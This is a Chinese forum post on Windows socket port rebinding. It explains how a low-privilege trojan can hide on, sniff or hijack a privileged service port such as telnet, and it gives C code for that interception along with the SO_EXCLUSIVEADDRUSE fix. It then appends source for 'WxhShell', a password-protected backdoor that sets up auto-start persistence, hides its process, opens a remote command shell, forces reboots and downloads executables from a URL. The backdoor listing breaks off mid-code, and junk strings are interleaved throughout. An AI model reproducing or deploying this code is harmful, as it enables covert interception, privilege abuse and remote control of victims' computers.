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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `%=!_|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Bacmrf  
CMYkxU  
  saddr.sin_family = AF_INET; D#11 N^-K  
|k)Nf+(}W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); k'K 1zUBj  
!H`uN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); { ?]&P  
e it%U  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f:h<tlob  
!3Q^oR  
  这意味着什么?意味着可以进行如下的攻击: 5I0j>{U&  
<#e!kWGR?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U z MIm  
( Uk\O`)m  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zmU>  
cnM`ywKW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^ ]SU (kY  
:Q>{Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]dnB ,  
I(+%`{Wv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3E;<aCG?  
_8OSDW*D5t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7niI65  
 -to3I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "XKd#ncP  
kj!mgu#T  
  #include TL([hR _  
  #include 3@mW/l>X  
  #include d0-T\\U  
  #include    9TV1[+JWe  
  DWORD WINAPI ClientThread(LPVOID lpParam);   d'b q#r  
  int main() Cx ;n#dn*  
  { [K`d?&  
  WORD wVersionRequested; LS4E.Xdn  
  DWORD ret; ^vo]bq7  
  WSADATA wsaData; $e,'<Jl  
  BOOL val; $%5!CD1)  
  SOCKADDR_IN saddr; DZV U!J  
  SOCKADDR_IN scaddr; # |,c3$  
  int err; NV9H"fI  
  SOCKET s; >~\CiV4^  
  SOCKET sc; 7R>Pk9J  
  int caddsize; @%[ VegT  
  HANDLE mt; IHj9n>c)[  
  DWORD tid;   r~T3Ieb  
  wVersionRequested = MAKEWORD( 2, 2 ); CI@qT}Y_  
  err = WSAStartup( wVersionRequested, &wsaData ); ?., 2EC=+  
  if ( err != 0 ) { w(nQ:;oC  
  printf("error!WSAStartup failed!\n"); L_}F.nbS5  
  return -1; 7)y +QU]  
  } m/NXifi8l  
  saddr.sin_family = AF_INET; {iVmae  
   xu* dPG)v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1'9YY")#  
be~'}`>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Bc51 0I$c  
  saddr.sin_port = htons(23); <84d Vg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M}`G}*  
  { b "5WsJ:'#  
  printf("error!socket failed!\n"); `Qo}4nuRs  
  return -1; @]B 7(j<'R  
  } C9E@$4*  
  val = TRUE; nh%Q";  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t}-rN5GO  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D2Dk7//82Y  
  { G:{\-R'  
  printf("error!setsockopt failed!\n"); Mt+gg F.  
  return -1; \FjY;rqfKe  
  } ;.b^A  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; firiYL"=44  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Be2yS]U  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BI 0 A0  
IP l]$j>N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VHTr;(]hk  
  { +v"%@lC};  
  ret=GetLastError(); + xRSd *  
  printf("error!bind failed!\n"); gqan]b_  
  return -1; ;>B06v  
  } 3dC ;B@  
  listen(s,2); T'e p&tNY  
  while(1) KVCj06}j  
  { gD/% l[  
  caddsize = sizeof(scaddr); GYN Lyd)  
  //接受连接请求 ?$AWY\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); c9R|0Yn^J  
  if(sc!=INVALID_SOCKET) )>rHM6-W  
  { {Qj7?}xW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }A'Ro/n  
  if(mt==NULL) BH`GUIk  
  { nN!R!tJPa  
  printf("Thread Creat Failed!\n"); xsSX~`  
  break; >X-*Hu'U#  
  } ,{u'7p  
  } '.d]n(/lZd  
  CloseHandle(mt); %& b70]S(  
  } QLe<).S1B2  
  closesocket(s); 7NDjXcuq  
  WSACleanup(); 8S7 YVsDz"  
  return 0; [49Ae2W`  
  }   ${)s ~[  
  DWORD WINAPI ClientThread(LPVOID lpParam) \P7y&`|  
  { vP{;'R  
  SOCKET ss = (SOCKET)lpParam; P0XVR_TJf  
  SOCKET sc; bdkxCt  
  unsigned char buf[4096]; 1PjqXgN5p  
  SOCKADDR_IN saddr; lF.yQ  
  long num; !0 -[}vvU  
  DWORD val; ,]|*~dd>G  
  DWORD ret; *'nZ|r v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c %.vI  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \h 1T/_4  
  saddr.sin_family = AF_INET; MyJG2C#R  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6pY<,7t0  
  saddr.sin_port = htons(23); Y'v;!11#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D'3. T{*rH  
  { R3Ka^l8R|  
  printf("error!socket failed!\n"); <.B^\X$  
  return -1; _=;ltO  
  } Ug,23  
  val = 100; zV"oB9\9O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,?zOJ,wl  
  { Z@b GLS  
  ret = GetLastError(); B[nkE+s  
  return -1; \]+57^8r  
  } N(BCe\FV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #Ez+1  
  { cWNWgdk,`V  
  ret = GetLastError(); Qv>rww]  
  return -1; IYk^eG:;  
  } K5SP8<.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;IX*4E'4s  
  { Z* L{;  
  printf("error!socket connect failed!\n");  `Aa*}1  
  closesocket(sc); 6%RN-  
  closesocket(ss); Wx-vWWx*Q  
  return -1; eGh7,wngH  
  } -C<Ni  
  while(1) bem-T`>'  
  { \w+a Q?e_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z^=e3~-J  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ('VHL!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t?:Q  
  num = recv(ss,buf,4096,0);  V_-{TGKX  
  if(num>0) s/J/kKj*s  
  send(sc,buf,num,0); h1 (MvEt  
  else if(num==0) +Jv*u8T'  
  break; U?d4 ^  
  num = recv(sc,buf,4096,0); Oe[qfsdW  
  if(num>0) jJDY l([  
  send(ss,buf,num,0); .&Ok53]b  
  else if(num==0) xRU ~h Q  
  break; du k:: |{F  
  } KGoHn6jM  
  closesocket(ss); l`A4)8Y@  
  closesocket(sc); ,t=12R]>  
  return 0 ; ,dO$R.h  
  } 81<0B @E  
Z 2x%  
hpVu   
========================================================== Qo;#}%}^^  
)Mj $/  
下边附上一个代码,,WXhSHELL eX@7f!uz  
J \V.J/  
========================================================== GxR, 3  
{BlKVsQ  
#include "stdafx.h" U\\nSU  
,@'M'S  
#include <stdio.h> xFY< ns  
#include <string.h> Udh!%QP%[w  
#include <windows.h> bhb*,iWA  
#include <winsock2.h> WDdp(<  
#include <winsvc.h> k;9"L90  
#include <urlmon.h> ']]&<B}mz  
GXE6=BO  
#pragma comment (lib, "Ws2_32.lib") @\UoZv(  
#pragma comment (lib, "urlmon.lib") qm&Z_6Pw  
4/B n9F  
#define MAX_USER   100 // 最大客户端连接数 Ft)Z'&L   
#define BUF_SOCK   200 // sock buffer _%$(D"^j  
#define KEY_BUFF   255 // 输入 buffer ef;Ta|#  
ttK`*Ng  
#define REBOOT     0   // 重启 X) TUKt  
#define SHUTDOWN   1   // 关机 KZxA\,Y'5  
ToB^/ n[  
#define DEF_PORT   5000 // 监听端口 5@{+V!o,  
]O;Hlty(g  
#define REG_LEN     16   // 注册表键长度 8{GRrwQ>  
#define SVC_LEN     80   // NT服务名长度 |_P-  
.V\ M/q\Tv  
// 从dll定义API !dW77kLTg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qJ|n73yn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r4D 6I,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j_r7oARL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7q] @Jx9  
k9^Vw+$m  
// wxhshell配置信息 X}5aE4K/  
struct WSCFG { d$G<g78D  
  int ws_port;         // 监听端口 @}e'(ju%R  
  char ws_passstr[REG_LEN]; // 口令 MK<VjpP0(  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9A4h?/  
  char ws_regname[REG_LEN]; // 注册表键名 @-ma_0cZQ  
  char ws_svcname[REG_LEN]; // 服务名 g#ZuRL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !^|%Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VnJ-nfA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ab=s+[r1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hR$lX8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %YaUc{.%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^3-Wxn9&  
;^,2 QsM  
}; L8~nx}UP5  
O&:0mpRZ  
// default Wxhshell configuration 7Pc0|Z/  
struct WSCFG wscfg={DEF_PORT, w$5N6  
    "xuhuanlingzhe", Vd{h|=J  
    1, #NVqS5  
    "Wxhshell", WR*|kh  
    "Wxhshell", YW}1iT/H  
            "WxhShell Service", Iy}r'#N  
    "Wrsky Windows CmdShell Service", Qn7l-:`?  
    "Please Input Your Password: ", 1x07ua@(v  
  1, .=>T yq  
  "http://www.wrsky.com/wxhshell.exe", 6rnehv!p  
  "Wxhshell.exe" y%H;o?<WX  
    }; |-zwl8E  
r]{fjw(~  
// 消息定义模块 p.2>- L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :`Kr|3bQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @HfWAFT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :8_`T$8i4  
char *msg_ws_ext="\n\rExit."; {tE/Jv $  
char *msg_ws_end="\n\rQuit."; jz[|rwAp  
char *msg_ws_boot="\n\rReboot..."; lK^Q#td:`  
char *msg_ws_poff="\n\rShutdown..."; : {9|/a  
char *msg_ws_down="\n\rSave to "; a.5s5g)8  
T2wn!N?r  
char *msg_ws_err="\n\rErr!"; 8j,_  
char *msg_ws_ok="\n\rOK!";  :*M\z3`k  
! 40t:+I  
char ExeFile[MAX_PATH]; v`hv5wQ  
int nUser = 0; ] %*970  
HANDLE handles[MAX_USER]; W RAW%?$  
int OsIsNt; 6,xoxNoPP3  
g)'tr '  
SERVICE_STATUS       serviceStatus; K.2M=Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S iw9_c  
r2T?LO0N{  
// 函数声明 er5}=cFZ  
int Install(void);  =&fBmV  
int Uninstall(void); mm=Y(G[_%y  
int DownloadFile(char *sURL, SOCKET wsh); ucj)t7O   
int Boot(int flag); %6 <Pt  
void HideProc(void); YF{K9M!  
int GetOsVer(void); e76@-fg  
int Wxhshell(SOCKET wsl); ![5<\  
void TalkWithClient(void *cs); R7KQ-+Zb  
int CmdShell(SOCKET sock); (Df<QC`0v  
int StartFromService(void); bq4H4?j  
int StartWxhshell(LPSTR lpCmdLine); K74oRKv  
GtO5,d_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !9"R4~4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p _e-u-  
U!a"r8u|8q  
// 数据结构和表定义 hkgPC-  
SERVICE_TABLE_ENTRY DispatchTable[] = +&\TdvNI4  
{ Ut-6!kAm  
{wscfg.ws_svcname, NTServiceMain}, >B~jPU  
{NULL, NULL} =D xJt7J1  
}; y`Pp"!P"O  
U8-9^}DBA  
// 自我安装 ~+>M,LfK  
int Install(void) @` .u"@  
{ !BEOeq@2.  
  char svExeFile[MAX_PATH]; fnnwe2aso  
  HKEY key; vP}K(' (  
  strcpy(svExeFile,ExeFile); oQ;f`JC^  
+$>ut r  
// 如果是win9x系统,修改注册表设为自启动 ):78GVp  
if(!OsIsNt) { Q]xW}5 /  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QBsDO].J<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |/fbU_d  
  RegCloseKey(key); [/uKo13  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |V 9%@ Y?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TiBE9  
  RegCloseKey(key); ,P"R.A  
  return 0; X}z KV  
    } <(p1 j0_Q  
  } 0]oQ08  
} 3R#<9O  
else { .%wEuqW=0  
)Q xv9:X  
// 如果是NT以上系统,安装为系统服务 p>eD{#2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,.`^Wx6F  
if (schSCManager!=0) 6 qKIz{;  
{ \>=YxB q  
  SC_HANDLE schService = CreateService J#V `W&\,6  
  ( w78Ius,  
  schSCManager, 3 n:<oOV  
  wscfg.ws_svcname, cHsJQU*K6  
  wscfg.ws_svcdisp, }2c}y7B,_  
  SERVICE_ALL_ACCESS, b$R>GQ?#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P)ZSxU  
  SERVICE_AUTO_START, jZ D\u%  
  SERVICE_ERROR_NORMAL, aJ)5DlfLR  
  svExeFile, 4}LF>_+=  
  NULL, @B9|{[P  
  NULL, !RcAJs'  
  NULL, T (2,iG8  
  NULL, C-Fp)Zs{0  
  NULL '*,4F'  
  ); 8]?1gDS|9O  
  if (schService!=0) W=EO=}l#  
  { h5F'eur  
  CloseServiceHandle(schService); }ZmdX^xB  
  CloseServiceHandle(schSCManager); <Ab:yD`K!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (Z"Xp{u  
  strcat(svExeFile,wscfg.ws_svcname); ~$\j$/A8/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1UM]$$:i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #8z\i2I  
  RegCloseKey(key); d}o1 j  
  return 0; Fcr@Un'  
    } fd,~Yj$R?  
  } oM7^h3R  
  CloseServiceHandle(schSCManager); lwg.'<  
} ;W+-x] O  
} Z],"<[E  
}\0"gM  
return 1; b/K&8C,c  
} ?*s!&-KI  
^w12k2a  
// 自我卸载 >(*jbL]p  
int Uninstall(void) f<;9q?0VF  
{ .FXQ,7mZ-  
  HKEY key; f.P( {PN  
;Z`)*TRp4  
if(!OsIsNt) { kTk?[BK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H);'\]_'x  
  RegDeleteValue(key,wscfg.ws_regname); _uu:)%  
  RegCloseKey(key); wwAT@=X*}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iE Oyc59  
  RegDeleteValue(key,wscfg.ws_regname); B7PmG f)b  
  RegCloseKey(key); W_ 6Jl5]  
  return 0; 7}x-({bqy  
  } ]Cz16e&=2  
} aBI]' D;  
} >Qx#2x+  
else { "|G,P-5G"  
^]DWrmy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lhI;K4#  
if (schSCManager!=0) IcoL/7k3  
{ f!J^vDl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^`!Daqk  
  if (schService!=0) $"FdS,*qKl  
  { +-nQ, fOV  
  if(DeleteService(schService)!=0) { aOD"z7}U  
  CloseServiceHandle(schService); Ax^'unfQ:  
  CloseServiceHandle(schSCManager); Ji!-G4.n"  
  return 0; ^"l$p,P+  
  } Qm.kXlsDI  
  CloseServiceHandle(schService); 0 \#Q;Z2  
  } @ tIB'|O  
  CloseServiceHandle(schSCManager); `@e H4}L*  
} ( 7?%Hg  
} fA8+SaXW%  
Fq9[:  
return 1; 3-R3Qlr  
} 0hkuBQb\  
3PA'Uk"5Z  
// 从指定url下载文件 >" .qFn g  
int DownloadFile(char *sURL, SOCKET wsh) l17ZNDzLU  
{ UH.cn|R  
  HRESULT hr; bevT`D  
char seps[]= "/"; }m H>lN  
char *token; \$C 4H  
char *file; SHk[X ]Uo  
char myURL[MAX_PATH]; +Y~+o-_  
char myFILE[MAX_PATH]; W =zG  
??m7xH5u1  
strcpy(myURL,sURL); ifs*-f  
  token=strtok(myURL,seps); =eqI]rVj^  
  while(token!=NULL) 8[C6LG  
  { ,2TqzU;  
    file=token; Y2X1!Em>B  
  token=strtok(NULL,seps); wF uh6!J  
  } `+.I  
K8J2eV\  
GetCurrentDirectory(MAX_PATH,myFILE); >.iw8#l  
strcat(myFILE, "\\"); /=@vG Vp6  
strcat(myFILE, file); %&Cl@6  
  send(wsh,myFILE,strlen(myFILE),0); QVW6SY  
send(wsh,"...",3,0); 4iz&"~&1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]K7  64}  
  if(hr==S_OK)  /Xz4q!Ul  
return 0; +*J4q5;E[?  
else dNQSbp  
return 1; vy@Lu cB  
pD#"8h  
} %d0S-.  
aHC;p=RQ\A  
// 系统电源模块 .e"Qv*[^  
int Boot(int flag) <dL04F  
{ h,>L(=c$O  
  HANDLE hToken; ^I{]Um:  
  TOKEN_PRIVILEGES tkp; k Ml<  
uC(S`Q[Bg  
  if(OsIsNt) { N >!xedw=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gJ.6m&+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h`]/3Ma*:  
    tkp.PrivilegeCount = 1; pYVy(]1I(3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5uo(z,WLR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l~YNmmv_  
if(flag==REBOOT) { 3}21bL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Yd;r8rN  
  return 0; q=Yerp3~  
} AfN   
else { f^4*.~cB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l _ O~v?  
  return 0; DH9?2)aR  
} ? SP7vQ/  
  } -^H5z+"^  
  else { :WIf$P?X  
if(flag==REBOOT) { f#kevf9zc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \hW73a!  
  return 0; uS#Cb+*F  
} 8MeXVhM  
else { gVU\^KN]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pMp9 O/u%  
  return 0; 1K9?a;.  
} [ |n-x3h  
} (eG]Cp@  
R6Mxdm2P}  
return 1; $Q?G*@y  
} Zfv(\SI  
s66XdM  
// win9x进程隐藏模块 GFdJFQio  
void HideProc(void) sK-|xU.  
{ jL+}F/~r  
S1juAV=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k^5R f  
  if ( hKernel != NULL ) ""'eTpe  
  { 2{kfbm-89t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u7zB9iQ&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SE )j}go  
    FreeLibrary(hKernel); G=!bM(]R~  
  } {2k< k(,  
'eDgeWt/CQ  
return; 0nz@O^*g(  
} bC>>^?U1m  
V 1nZ M  
// 获取操作系统版本 $t# ,'M  
int GetOsVer(void) Ym{%"EB  
{ gpK_0?%  
  OSVERSIONINFO winfo; C.)&FW2F_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m2uML*&O5K  
  GetVersionEx(&winfo); d)1sP0Z_@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +'j*WVE%5  
  return 1; OO\biYh o  
  else p:<gFZb  
  return 0; JJ9e{~0 I  
} cvV?V\1f  
a]Da`$T  
// 客户端句柄模块 uM)9b*Vbo  
int Wxhshell(SOCKET wsl) n+\Cw`'<H  
{ 1X"H6j[w  
  SOCKET wsh; ICCCCG*[  
  struct sockaddr_in client; QGv:h[b_  
  DWORD myID; ~q?"w:@;x  
G'?f!fz;  
  while(nUser<MAX_USER) Sd$]b>b4O  
{ 5f&{!N  
  int nSize=sizeof(client); , HI%Xn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ym*#ZE`B!  
  if(wsh==INVALID_SOCKET) return 1; 2PP-0 E  
BdB`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q`p}X&^a  
if(handles[nUser]==0) 5@>4)dk\  
  closesocket(wsh); }:9|*m<$t  
else ?sf2h:\N  
  nUser++; oj(A`[  
  } D*T$ v   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v(@+6#&  
S5E,f?l  
  return 0; OZB}aow  
} .A"T086  
K~y9zF{  
// 关闭 socket l`FR.)2h  
void CloseIt(SOCKET wsh) aEFe!_QY  
{ w HHF=Q  
closesocket(wsh); QV'3O|  
nUser--; a[P>SqT4`  
ExitThread(0); _ 2gT1B  
} jU4)zN/`r  
Q$.V:#  
// 客户端请求句柄 GkGC4*n  
void TalkWithClient(void *cs) "E ok;io  
{ (ln  
(m3I#L  
  SOCKET wsh=(SOCKET)cs; :S99}pgY  
  char pwd[SVC_LEN]; 9u7n/o&8v6  
  char cmd[KEY_BUFF]; M,_^hm7  
char chr[1]; j^$3vj5E[  
int i,j; JM+sHHs  
Sp`fh7d.(  
  while (nUser < MAX_USER) { iZ.&q 6  
kf^-m/  
if(wscfg.ws_passstr) { |Y8Mk2,s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0'%+X|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cfC;eRgq~  
  //ZeroMemory(pwd,KEY_BUFF); g3|Y$/J7P  
      i=0; ^E<~zO=Z  
  while(i<SVC_LEN) { )0 n29  
t.>te'DK/  
  // 设置超时 ?`T6CRZhr  
  fd_set FdRead; @wB'3q}(  
  struct timeval TimeOut; d)hzi  
  FD_ZERO(&FdRead); 6Y>,e;R  
  FD_SET(wsh,&FdRead); N}}PlGp$  
  TimeOut.tv_sec=8; =hugnX<9  
  TimeOut.tv_usec=0; 3<jAp#bE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1fO2)$Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fUp|3bBE  
}/7.+yD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CFkW@\]  
  pwd=chr[0]; D?\"  
  if(chr[0]==0xd || chr[0]==0xa) { k67i`f=  
  pwd=0; XMeL^|D  
  break; /]k ,,&  
  } STXqq[+Rf  
  i++; gf3u0' $  
    } <(#xOe  
N'eQ>2>O@  
  // 如果是非法用户,关闭 socket oA!5dpNhU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); - 5o<Q'(  
} k}I5x1>&  
mI?* Z%>g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7}#*3*]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y?*[}S  
$/<"Si&(  
while(1) { i)@U.-*5m  
<@U.   
  ZeroMemory(cmd,KEY_BUFF); \N`fWh8&  
?O<`h~'$+  
      // 自动支持客户端 telnet标准   (^tr}?C  
  j=0; >Bh)7>`3c  
  while(j<KEY_BUFF) { + 4V1>e+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =qV4Sje|q  
  cmd[j]=chr[0]; eN<>#: `  
  if(chr[0]==0xa || chr[0]==0xd) { 7,W]zKH  
  cmd[j]=0; ;<bj{#mMv  
  break; "o^bN 9=  
  } nl)_`8=  
  j++; C;d|\[7Z  
    } NRHr6!f>  
,u ?wYW;  
  // 下载文件 >}dTO/  
  if(strstr(cmd,"http://")) { Gs_*/E7,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Lo|NE[b:G  
  if(DownloadFile(cmd,wsh)) S{^6iR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0$xK   
  else B91S h`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w&wA >q>&  
  } {(m+M  
  else { ibZt2@GB)I  
pPiYPfs  
    switch(cmd[0]) { R "/xne  
  5';/@M  
  // 帮助 SZim>@R  
  case '?': { B^8ZoF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LaIW,+  
    break; y+ 6`| h_  
  } _XH4;uGg  
  // 安装 eD*?q7  
  case 'i': { _" ?c9  
    if(Install()) z9k*1:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b"ol\&1 #  
    else r,`Z.A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ShL1'Z} ^{  
    break; X[GIOPDx  
    } VZT6;1TD$8  
  // 卸载 1&X}1  
  case 'r': { h.4qlx|  
    if(Uninstall()) ysSjc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 38V $<w  
    else fbh6Ls/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); olD@W UB  
    break; l?[{?Luq  
    } f p v= P  
  // 显示 wxhshell 所在路径 %+AS0 JhB  
  case 'p': { T7>4 8eH  
    char svExeFile[MAX_PATH]; I!|y;mh:it  
    strcpy(svExeFile,"\n\r"); :Az8K)  
      strcat(svExeFile,ExeFile); 8Zcol$XS'  
        send(wsh,svExeFile,strlen(svExeFile),0); =&di4'`  
    break; b34zhZ  
    } 2x7(}+eD  
  // 重启 c&E*KfOG  
  case 'b': { c[(yU#@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /#-,R,Q  
    if(Boot(REBOOT)) o/tVcv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2x-'>i_|g  
    else { 6V'wQqJ  
    closesocket(wsh); TqENaC#&  
    ExitThread(0); NEq t).   
    } RpHpMtvNo/  
    break; ?ada>"~GR_  
    } @+}rEe_(  
  // 关机 /HB+ami,  
  case 'd': { (\Rwf}gyR  
